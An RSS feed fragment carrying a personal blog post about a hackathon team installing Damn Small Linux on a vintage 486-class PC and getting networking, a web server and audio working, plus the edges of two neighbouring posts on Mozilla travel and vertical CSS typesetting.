&lt;p&gt;If you were wondering (probably not, but still), I am currently at Mozilla All Hands in Austin, Texas and I&apos;m super excited, but also super jet-lagged, which is why this post is being completed at 4am. Does anyone care about this vertical writing mode stuff? I don&apos;t know, but I sure do.&lt;/p&gt;
&lt;p&gt;Breakfast time! Until the next one.&lt;/p&gt;
</content:encoded></item><item><title>Hardware hacks: Super Silly Hackathon</title><link>https://chenhuijing.com/blog/hardware-hacks-super-silly-hackathon/</link><guid isPermaLink="true">https://chenhuijing.com/blog/hardware-hacks-super-silly-hackathon/</guid><description>I got the chance to do a bit of travelling this year, and managed to meet a lot of developers from different parts of the world. One thing that comes up in our…</description><pubDate>Sun, 10 Dec 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I got the chance to do a bit of travelling this year, and managed to meet a lot of developers from different parts of the world. One thing that comes up in our conversations is how our local tech communities are like. I absolutely love answering this question.&lt;/p&gt;
&lt;p&gt;Singapore, in my opinion, has one of the best tech communities in the world. Sure it&apos;s a pretty small country, but that&apos;s a large factor as to why we are such a tight-knit community. We have a number of strong community leaders that have built up a solid foundation of support for veterans and newbies alike.&lt;/p&gt;
&lt;p&gt;Want to start your own meet-up? We have a tonne of resources available at &lt;a href=&quot;https://web.archive.org/web/20190716050141/http://webuild.sg/&quot;&gt;We Build!&lt;/a&gt;, which is THE go-to platform to find out all about the tech scene in Singapore, what events are on, how to start your own meetup etc. Almost all meetup talks are recorded by &lt;a href=&quot;https://engineers.sg/&quot;&gt;Engineers.SG&lt;/a&gt;. In their words, they are a not-for-profit community initiative created to help document the Singapore tech and startup scene.&lt;/p&gt;
&lt;p&gt;Long story short, my friends held a hackathon that was inspired by &lt;a href=&quot;http://www.stupidhackathon.com/&quot;&gt;Stupid Shit No One Needs &amp;amp; Terrible Ideas Hackathon&lt;/a&gt; and decided to hold our own &lt;a href=&quot;https://supersillyhackathon.sg/&quot;&gt;Super Silly Hackathon&lt;/a&gt;. It was great. I had the best time &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person gesturing ok&quot;&gt;🙆&lt;/span&gt;. Also, their website is awesome. It has a diagonal scroll. &lt;a href=&quot;https://cheeaun.com/&quot;&gt;Lim Chee Aun&lt;/a&gt; designed and built it. Check out &lt;a href=&quot;https://www.youtube.com/watch?v=4k0cAQLjDtg&quot;&gt;his talk&lt;/a&gt;. Plus, cats.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Unicat says meow&lt;/figcaption&gt;
    &lt;img style=&quot;max-height:10em;&quot; src=&quot;/images/posts/supersilly/unicat.svg&quot; alt=&quot;Unicat&quot;/&gt;
&lt;/figure&gt;
&lt;h2&gt;Team 486&lt;/h2&gt;
&lt;p&gt;There had always been a computer in my house, from way before I was born. According to my siblings, we even had an Apple II at some point. It either died before I was born, or we left it when we moved down south. or something, but it&apos;s gone now &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;weary face&quot;&gt;😩&lt;/span&gt;. What I do remember is the 386, or maybe it was a 486, on which I learned enough about DOS to run games.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Direct Access, the DOS menuing shell by Delta Technology International&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/vintage/da2-480.jpg 480w, /images/posts/vintage/da2-640.jpg 640w, /images/posts/vintage/da2-960.jpg 960w, /images/posts/vintage/da2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/vintage/da2-640.jpg&quot; alt=&quot;Direct Access&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;I talked a lot about that when I &lt;a href=&quot;/blog/reminiscing-the-90s/&quot;&gt;reminisced about the 90s&lt;/a&gt; last year. That was when I got to know a fellow retrotech enthusiast, &lt;a href=&quot;http://yeokhengmeng.com/&quot;&gt;Yeo Kheng Meng&lt;/a&gt;. He is the most awesome guy, because he managed to get &lt;a href=&quot;http://yeokhengmeng.com/2016/09/windows-for-workgroups-3-11-on-vintage-and-modern-hardware-in-2016/&quot;&gt;Windows 3.11 working on modern hardware&lt;/a&gt;, and presented it at &lt;a href=&quot;https://www.meetup.com/Hackware/&quot;&gt;Hackware&lt;/a&gt;, Singapore&apos;s monthly hardware hacks meetup. That&apos;s not the only thing he&apos;s awesome for, just one of many.&lt;/p&gt;
&lt;p&gt;Anyway, I had been planning to show up at this hackathon and just muck around but then Kheng Meng asked if I was interested in trying to run a modern Linux system on an old 486. Of course the answer was a resounding YES. He&apos;d bought the old machine online, somewhere, and after some quick discussion, we decided to go ahead with the plan.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Look at this beauty&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/supersilly/486-480.jpg 480w, /images/posts/supersilly/486-640.jpg 640w, /images/posts/supersilly/486-960.jpg 960w, /images/posts/supersilly/486-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/supersilly/486-640.jpg&quot; alt=&quot;The 486&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;The name of the team came much later, when we were told we had to have a name. Naming things is hard. So we went with the obvious. Team 486.&lt;/p&gt;
&lt;h2&gt;Pre-hackathon prep&lt;/h2&gt;
&lt;p&gt;Kheng Meng had way more hardware than I did, and did a bit of experimentation before the hackathon. We were working with a IBM PS/1 Consultant 2133 19C with the following hardware specifications:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;AMD 5X86 running at 133mhz&lt;/li&gt;
&lt;li&gt;64MB RAM&lt;/li&gt;
&lt;li&gt;IBM CD ROM Drive&lt;/li&gt;
&lt;li&gt;3.5&amp;quot; 1.44mb floppy drive&lt;/li&gt;
&lt;li&gt;171 mb Hard Drive&lt;/li&gt;
&lt;li&gt;Sound Blaster 16 card&lt;/li&gt;
&lt;li&gt;VGA Graphics&lt;/li&gt;
&lt;li&gt;10Mbps 3Com Etherlink III 3c509B&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Update: Kheng Meng adds that the &lt;a href=&quot;https://en.wikichip.org/wiki/amd/am5x86&quot;&gt;Am5x86&lt;/a&gt; is AMD&apos;s high performance clone of the Intel 80486. Because most people associate 486 chips with Intel but no, my friends, I did not make a typo when I said the chip was an AMD. Also, the machine does not have a PCI bus at all. The network card uses the ISA slot.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;It&apos;s quite a high-end machine for its time but we were trying to run relatively modern software on it, so the hunt for smallest Linux distros began. Kheng Meng did some research and found people with success on the 486 using &lt;a href=&quot;https://www.gentoo.org/&quot;&gt;Gentoo Linux&lt;/a&gt;. We also considered &lt;a href=&quot;http://www.slackware.com/&quot;&gt;Slackware&lt;/a&gt;. But turns out our machine couldn&apos;t handle either of those.&lt;/p&gt;
&lt;p&gt;I remembered installing &lt;a href=&quot;https://web.archive.org/web/20190204145315/http://www.damnsmalllinux.org/&quot;&gt;Damn Small Linux&lt;/a&gt; on an old Pentium 2 a number of years ago, but it hadn&apos;t been updated in a while. So we looked at &lt;a href=&quot;https://mirrors.dotsrc.org/tinycorelinux/&quot;&gt;Tiny Core Linux&lt;/a&gt; instead. Kheng Meng had prepped a number of boot discs beforehand, but also brought along his trusty Thinkpad T430, which could multi-boot into Linux Mint, Windows 10, Windows XP and FreeDos (just because).&lt;/p&gt;
&lt;p&gt;We had the means to burn CD images as well as floppy disc images, so don&apos;t throw away working old hardware, folks. You never know when they might come in handy.&lt;/p&gt;
&lt;h2&gt;And so it begins...&lt;/h2&gt;
&lt;p&gt;That hard disc is really tiny, so Kheng Meng replaced it with his 80gb Maxtor HDD instead, which we just rested on top of the machine. I managed to procure a 19-inch VGA monitor, and brought along a mini wifi router because we&apos;d have to fiddle around to get our machine hooked up to the internet somehow. Kheng Meng brought tonnes more gear, so he had a nice suitcase.&lt;/p&gt;
&lt;p&gt;First problem of the day, like 15 minutes in. The monitor couldn&apos;t read our 486&apos;s output. Zilch. But we snagged a great spot, right next to the location&apos;s projector inputs, so we hijacked the projectors for the entire day. Basically, the venue had a setup for 3 projector screens around the room, and everyone could see whatever we were doing for the day, even if they didn&apos;t understand what it was we were doing. Best feng shui of the day, me thinks.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Hijack them ports!&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/supersilly/location-480.jpg 480w, /images/posts/supersilly/location-640.jpg 640w, /images/posts/supersilly/location-960.jpg 960w, /images/posts/supersilly/location-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/supersilly/location-640.jpg&quot; alt=&quot;Best location at the venue&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;After we finally got the display to output, the next step was to boot and install Linux. Our choice of OS was Tiny Core Linux, and we had 2 versions burned to disc, Tiny Core and Micro Core. We started off with Tiny Core, but it wouldn&apos;t take. The machine rebooted every time it tried to boot the kernel.&lt;/p&gt;
&lt;p&gt;So we tried the Micro Core version next, but since they were built on the same system, it was no surprise when the same issue recurred. There was the briefest of flashes of an error message just before the reboot happened, and so, being the resourceful problem-solvers we were, Kheng Meng whipped out his phone that could record 60fps video and captured footage of the screen just before reboot.&lt;/p&gt;
&lt;p&gt;I always use Quicktime to do my video edits, and one of the features I&apos;m fond of is the &lt;em&gt;Trim&lt;/em&gt; function. It allows you go into fine-grain frame-by-frame editing by holding the slider for a second. Anyway, the footage managed to catch the following error message:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;BUG: Bad page state in process swapper/0 pfs:007d4&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;
    &lt;figcaption&gt;When your eyes are not fast enough...&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/supersilly/quicktime-480.jpg 480w, /images/posts/supersilly/quicktime-640.jpg 640w, /images/posts/supersilly/quicktime-960.jpg 960w, /images/posts/supersilly/quicktime-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/supersilly/quicktime-640.jpg&quot; alt=&quot;Troubleshooting with video&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;Googling wasn&apos;t particularly helpful and so we decided to give Damn Small Linux (DSL) a try, since it was relatively older, it perhaps would work better with the 486, who knows? So we burned the image to a rewritable CD and tried again.&lt;/p&gt;
&lt;p&gt;Surprise surprise, it managed to boot up (with the help of a smart boot loader on floppy) without crashing, but somehow it could not read the image on the CD. Turns out, the drive couldn&apos;t recognise rewritable discs. Luckily, we were 100m away from the IT mall, so 20 minutes later, we had a stack of blank CDs to work with.&lt;/p&gt;
&lt;p&gt;Again, there were multiple versions of DSL we could use, and we settled on using the CD image of 4.4.10 and 4.11.RC2. If all else failed, we&apos;d go with the floppy disc option, because we could &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;flexed muscle&quot;&gt;💪&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;This is where my memory gets fuzzy. I can&apos;t remember if we tried the RC2 version, and encountered some error BEFORE I went out to buy the CD-Rs or after that. But the point is, we managed to get the boot sequence all the way to the boot options menu and beyond on 4.4.10.&lt;/p&gt;
&lt;h2&gt;4 hours to install an OS&lt;/h2&gt;
&lt;p&gt;It was lunchtime when I made my IT-mall-blank-CD-buying run, so there was a lot of typing with one finger while shovelling food in my mouth. Oh, but when we got to the part where ALL the hardware components were recognised correctly, happy dance &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person dancing&quot;&gt;💃&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;After mucking around a bunch of boot options for another half an hour or so, we realised that we should have just typed &lt;code&gt;install&lt;/code&gt; when the boot prompt came up &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;angry face&quot;&gt;😠&lt;/span&gt;. In our defence, the instructions looked like this:&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Oh, just, come on...&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/supersilly/install2-480.png 480w, /images/posts/supersilly/install2-640.png 640w, /images/posts/supersilly/install2-960.png 960w, /images/posts/supersilly/install2-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/supersilly/install2-640.png&quot; alt=&quot;Missed this line the first time&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;But it&apos;s all good. Such things are expected when it comes to doing unorthodox things to hardware. Wait till you see all the other snags we hit. It&apos;s all part of the fun, my friends.&lt;/p&gt;
&lt;p&gt;Before installing onto disc, we wiped the existing content and repartitioned the drive. The first time we did it, we ambitiously allocated 512mb for the Swap and the remaining free space as the working drive, which would be bootable. That was around 75.7gb or so? Bad idea.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;This won&apos;t be the last time&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/supersilly/install-480.jpg 480w, /images/posts/supersilly/install-640.jpg 640w, /images/posts/supersilly/install-960.jpg 960w, /images/posts/supersilly/install-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/supersilly/install-640.jpg&quot; alt=&quot;First pass HDD install&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;It took soooo long to write. AND I think I screwed up the part where it asked if a boot loader should be installed, and I pressed &lt;kbd&gt;Enter&lt;/kbd&gt;, assuming the default option of &lt;code&gt;(y)&lt;/code&gt; would be selected, instead of explicitly entering &lt;kbd&gt;y&lt;/kbd&gt;. So it&apos;s either the boot loader wasn&apos;t installed, or we allocated too much space for the system to recognise. I think it was the former. But regardless, the system wouldn&apos;t boot from HDD, so Take 2.&lt;/p&gt;
&lt;p&gt;The second time we tried to install to disc, the boot loader wouldn&apos;t read the disc image, even after we tried to clean it with a lint-free microfibre cloth &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;weary face&quot;&gt;😩&lt;/span&gt;. Fortunately, we had that stack of extra blank CDs lying around, so Kheng Meng burned a new copy, plus verified the disc. It actually worked, we don&apos;t know why.&lt;/p&gt;
&lt;p&gt;This time we allocated a lot less space for both partitions, and boy did that speed things up. Although it wasn&apos;t blazing fast or anything, it was much faster than the first time we did the install. Priming is everything, folks.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;We lived and learned&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/supersilly/install3-480.jpg 480w, /images/posts/supersilly/install3-640.jpg 640w, /images/posts/supersilly/install3-960.jpg 960w, /images/posts/supersilly/install3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/supersilly/install3-640.jpg&quot; alt=&quot;Second time hard drive install&quot; /&gt;
&lt;/figure&gt;
&lt;h2&gt;Our baby has come to play&lt;/h2&gt;
&lt;p&gt;It was around 3pm when we got DSL to boot off HDD successfully. So we were ahead of schedule (in my mind) and I proceeded to happy dance a couple of times. Next question was, we need to do something with it.&lt;/p&gt;
&lt;p&gt;DSL comes with a lot of features already, if you refer to the &lt;a href=&quot;https://web.archive.org/web/20180813205920/http://www.damnsmalllinux.org/wiki/about_damn_small_linux.html&quot;&gt;What can fit in 50 megabytes?!&lt;/a&gt; section of the wiki, you&apos;ll see the full list. It comes with SSH, a web server and media player. The first idea was to serve the hackathon website off our lovely 486. All the code for the site was open source on Github anyway.&lt;/p&gt;
&lt;p&gt;But we hadn&apos;t resolved the internet connectivity issue. Both Kheng Meng and I brought our portable wifi routers, but his had more functionality. We realised that the venue wifi had a lot of limitations. The original plan was to use his router as a client, then connect via Ethernet to the 486, which worked but no internet access. Eventually, the setup worked with his phone as a mobile hotspot &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;And we were in business! Sort of. Even though the router had internet access, it seemed like the 486 had no IP address allocated to it. DCHP server not running, maybe? But Google immediately provided me with an answer. I can&apos;t explain my Google search technique other than I go with my gut on which keywords to use, and which result to pick. I realised I almost never take the first option, go figure.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;That&apos;s us!&lt;/figcaption&gt;
         &lt;img src=&quot;/images/posts/supersilly/hijack.jpg&quot; srcset=&quot;/images/posts/supersilly/hijack@2x.jpg 2x&quot; alt=&quot;Using the venue projectors as output&quot;/&gt;
    &lt;/figure&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;Providing live updates all day&lt;/figcaption&gt;
         &lt;img src=&quot;/images/posts/supersilly/hijack2.jpg&quot; srcset=&quot;/images/posts/supersilly/hijack2@2x.jpg 2x&quot; alt=&quot;Using the venue projectors as output&quot;/&gt;
    &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;Anyway, this was &lt;a href=&quot;https://web.archive.org/web/20150503044947/http://damnsmalllinux.org/static/act-Print/f-7/t-20219.html&quot;&gt;the result&lt;/a&gt; I picked first, maybe the word “tip” made me feel better. I wondered aloud, “What does &lt;code&gt;pump&lt;/code&gt; do?” just as I entered the command, because neither of us ever seen it before. But lo and behold, our baby got connected to the interwebs!&lt;/p&gt;
&lt;p&gt;We also started up the SSH client for file transfer and concurrent access. Turns out the SSH version on DSL was too old for my Mac to connect to, but Kheng Meng ran Linux Mint on his T430 and that worked great. So here&apos;s our file transfer strategy (because we didn&apos;t want to blow all of Kheng Meng&apos;s data in one afternoon).&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Biggest table. All the hardware.&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/supersilly/hustling-480.jpg 480w, /images/posts/supersilly/hustling-640.jpg 640w, /images/posts/supersilly/hustling-960.jpg 960w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/supersilly/hustling-640.jpg&quot; alt=&quot;Lots of Googling&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;My portable wifi router was called into play to set up a separate network (unfortunately not connected to the internet), uncreatively called 486, for other devices to access our machine.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Download whatever files off my Mac, connected to venue wifi&lt;/li&gt;
&lt;li&gt;Transfer said files to the T430 via USB flash drive&lt;/li&gt;
&lt;li&gt;Connect to the 486 network and secure copy the files over to the machine&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Serving a website&lt;/h2&gt;
&lt;p&gt;The web server that DSL came with was &lt;a href=&quot;https://web.archive.org/web/20200229054452/http://monkey-project.com/&quot;&gt;Monkey&lt;/a&gt;. And in theory, all we had to do was dump our website files into the &lt;code&gt;/opt/monkey-0.9.2/htdocs/&lt;/code&gt; folder and start the server. File transfer wasn&apos;t a problem, but I just couldn&apos;t figure out how to run the server, because the instructions were for a Desktop environment and we were in terminal because X had issues.&lt;/p&gt;
&lt;p&gt;Eventually Kheng Meng found the command was&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;/opt/monkey/bin/banana start
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and we added that to the &lt;code&gt;/opt/bootlocal.sh&lt;/code&gt; file so it would start automatically on reboot. Did I mention I loved the monkey banana concept? &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;monkey&quot;&gt;🐒&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;jack-o-lantern&quot;&gt;🍌&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Web server, done! As long as you were connected to our 486 network, you could access the website on port 80, no issues.&lt;/p&gt;
&lt;h2&gt;Playing music&lt;/h2&gt;
&lt;p&gt;DSL comes with a media player, but that was in the Desktop environment. Neither was Apt enabled by default. But it wasn&apos;t too tricky to turn it back on.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo dpkg-restore
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;did the trick and&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;apt-get update
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ran without any issues.&lt;/p&gt;
&lt;p&gt;Kheng Meng installed &lt;a href=&quot;http://sox.sourceforge.net/&quot;&gt;Sox&lt;/a&gt; so we could play audio files from the command line, and tested it out on a random file he had on his PC, which was the Cantina theme from Star Wars (we&apos;re getting into the Star Wars mood now, aren&apos;t we). Once that worked, my rubbish brain wanted to play 8-bit style music instead.&lt;/p&gt;
&lt;p&gt;And I came across this marvellous piece of work by &lt;a href=&quot;http://lordmusicacademy.com/&quot;&gt;Lord Vinheteiro&lt;/a&gt;:&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/DEvwF5kwcpQ?rel=0&quot; frameborder=&quot;0&quot; gesture=&quot;media&quot; allow=&quot;encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;Remember that we were hooked up to the venue&apos;s projector system, which included sound. And thus while everyone was hustling away at their hacks, they would hear intermittent clips of audio files we were trying to play. Of course, we didn&apos;t want to be annoying and they ran for a few seconds each time, enough for us to gauge volume control etc.&lt;/p&gt;
&lt;h2&gt;How&apos;s about that X display?&lt;/h2&gt;
&lt;p&gt;At this point, we figured we&apos;d try tackling the X problem. Because the error message did suggest we configure X using &lt;code&gt;xsetup.sh&lt;/code&gt;, and that&apos;s what we did. During install, we went with &lt;code&gt;xfbdev&lt;/code&gt; because the prompt mentioned it was for lower end systems.&lt;/p&gt;
&lt;p&gt;We went with &lt;code&gt;xvesa&lt;/code&gt; instead this time, and started off with the lowest resolution settings we could use, 640x480 on 4-bit colour depth. This actually worked and we got into the Desktop environment. Unfortunately, trying to open anything other than a terminal window wouldn&apos;t work. The apps just crashed before loading.&lt;/p&gt;
&lt;p&gt;This is one part we never figured out, because we configured and reconfigured using &lt;code&gt;xsetup.sh&lt;/code&gt; more than 10 times but we only saw 2 changes on the Desktop. The first time (and because we didn&apos;t take a photo, you can only rely on my words &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;) was an almost grayscale affair, with a rather bad emulation of transparency for the background involving a whole lot of pixelation. There was a system stats widget built into the desktop but it was hard to read because of that.&lt;/p&gt;
&lt;p&gt;We tweaked the settings to 800x600 and 8-bit colour depth but repeated reboots didn&apos;t seem to stick. Then, out of the blue, the colours kicked in, though we don&apos;t know if that was a good thing or a bad thing. Because the increased colour depth also made the contrast terrible. You can sort of see it if you scroll up to the pictures which show how we hijacked the venue projectors.&lt;/p&gt;
&lt;p&gt;I also learned how to set the background to a solid colour using&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bsetbg -solid COLOUR
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and the fun part is that the colours are not what they say they are. For example, black turned out to be blue, white turned out to be black, green gave me this pink-ish hue, orange gave me purple and so on. Eventually we settled on &lt;code&gt;red&lt;/code&gt;, because it gave us a lovely neon green background, making the dark text show up quite clearly.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;We should have taken more photos&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/supersilly/neon-480.jpg 480w, /images/posts/supersilly/neon-640.jpg 640w, /images/posts/supersilly/neon-960.jpg 960w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/supersilly/neon-640.jpg&quot; alt=&quot;Red is green&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;Once the colours came in, it seemed that the Desktop environment stabilised itself as well, and we could use all the apps that were installed without them crashing. Trade-offs, I suppose. There&apos;s a life lesson in here somewhere.&lt;/p&gt;
&lt;h2&gt;Presentation time&lt;/h2&gt;
&lt;p&gt;There were quite a lot of teams, and many with really funny and ridiculous ideas. There might be an overall recap somewhere in the future by the organisers, I don&apos;t know. When it was our turn, we had way too much stuff going on to be standing in front of everyone. So we did our presentation at our round table of stuff.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;And the flailing hands are out&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/supersilly/presentation-480.jpg 480w, /images/posts/supersilly/presentation-640.jpg 640w, /images/posts/supersilly/presentation-960.jpg 960w, /images/posts/supersilly/presentation-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/supersilly/presentation-640.jpg&quot; alt=&quot;Show and tell time&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;em&gt;Update: the video of the presentation has been released. This is the most classic example of how Singlish sounds like for everyone who is not from Singapore or Malaysia, and don&apos;t know what this glorious language is.&lt;/em&gt;&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/w-RN0EkxWxA?rel=0&quot; frameborder=&quot;0&quot; gesture=&quot;media&quot; allow=&quot;encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;The overall mood of the hackathon was really light and fun, so the crowd response was way more enthusiastic than a typical meetup. It&apos;s not a bad thing per se, but a normal meetup audience in Singapore and Malaysia (my anecdotal experience, take with pinches of salt) is quite reserved, with minimal questions or comments. Not tonight though &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face with stuck-out tongue &amp; closed eyes&quot;&gt;😆&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;At the end of it, we managed to garner enough votes for third place! Snacks for Kheng Meng and I! &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;party popper&quot;&gt;🎉&lt;/span&gt; I had the best time, AND we managed to achieve our original objective, so I&apos;d consider this a successful day out. Working with Kheng Meng was really great and hopefully we&apos;ll be hacking some other old hardware again soon.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Team 486!&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/supersilly/team486-480.jpg 480w, /images/posts/supersilly/team486-640.jpg 640w, /images/posts/supersilly/team486-960.jpg 960w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/supersilly/team486-640.jpg&quot; alt=&quot;Team photo&quot; /&gt;
&lt;/figure&gt;</content:encoded></item><item><title>Vertical typesetting with writing-mode revisited</title><link>https://chenhuijing.com/blog/vertical-typesetting-revisited/</link><guid isPermaLink="true">https://chenhuijing.com/blog/vertical-typesetting-revisited/</guid><description>About year ago, I wrote about the findings from an exercise in attempting to typeset Chinese vertically on the web. What came out of that was a bare-bones demo…</description><pubDate>Mon, 04 Dec 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;About year ago, I &lt;a href=&quot;/blog/chinese-web-typography/&quot;&gt;wrote about the findings&lt;/a&gt; from an exercise in attempting to typeset Chinese vertically on the web. What came out of that was &lt;a href=&quot;https://huijing.github.io/zh-type&quot;&gt;a bare-bones demo&lt;/a&gt; that allowed you to switch between writing modes using the checkbox hack.&lt;/p&gt;
&lt;p&gt;I met &lt;a href=&quot;https://blog.yoav.ws/&quot;&gt;Yoav Weiss&lt;/a&gt; a little while back and we chatted a little about the &lt;a href=&quot;http://ricg.io/&quot;&gt;Responsive Images Community Group&lt;/a&gt; because I mentioned how I thought it would be nice if there could be some media query for &lt;code&gt;writing-mode&lt;/code&gt; with the &lt;code&gt;picture&lt;/code&gt; element so I didn&apos;t have to do some mildly hackish transforms on my images when I switched modes. And he suggested I write it up as &lt;a href=&quot;https://github.com/ResponsiveImagesCG/ri-usecases/issues/63&quot;&gt;a use-case for responsive images&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;But when I reopened this demo that I hadn&apos;t touched in a year, my face went from &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face with raised eyebrow&quot;&gt;🤨&lt;/span&gt; to &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face screaming in fear&quot;&gt;😱&lt;/span&gt; to &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;cursing face&quot;&gt;🤬&lt;/span&gt; to &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;weary face&quot;&gt;😩&lt;/span&gt; within the first 5 minutes (what can I say? I have an expressive face &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;). So for catharsis, I&apos;m going to write down my play-by-play of trying to figure out who (i.e. browsers) broke what and hopefully how to mitigate it, for now.&lt;/p&gt;
&lt;p&gt;Post is long, use links to skip.&lt;/p&gt;
&lt;h3&gt;Brain dump structure&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#initial-findings&quot;&gt;Initial findings&lt;/a&gt;
    &lt;ul&gt;
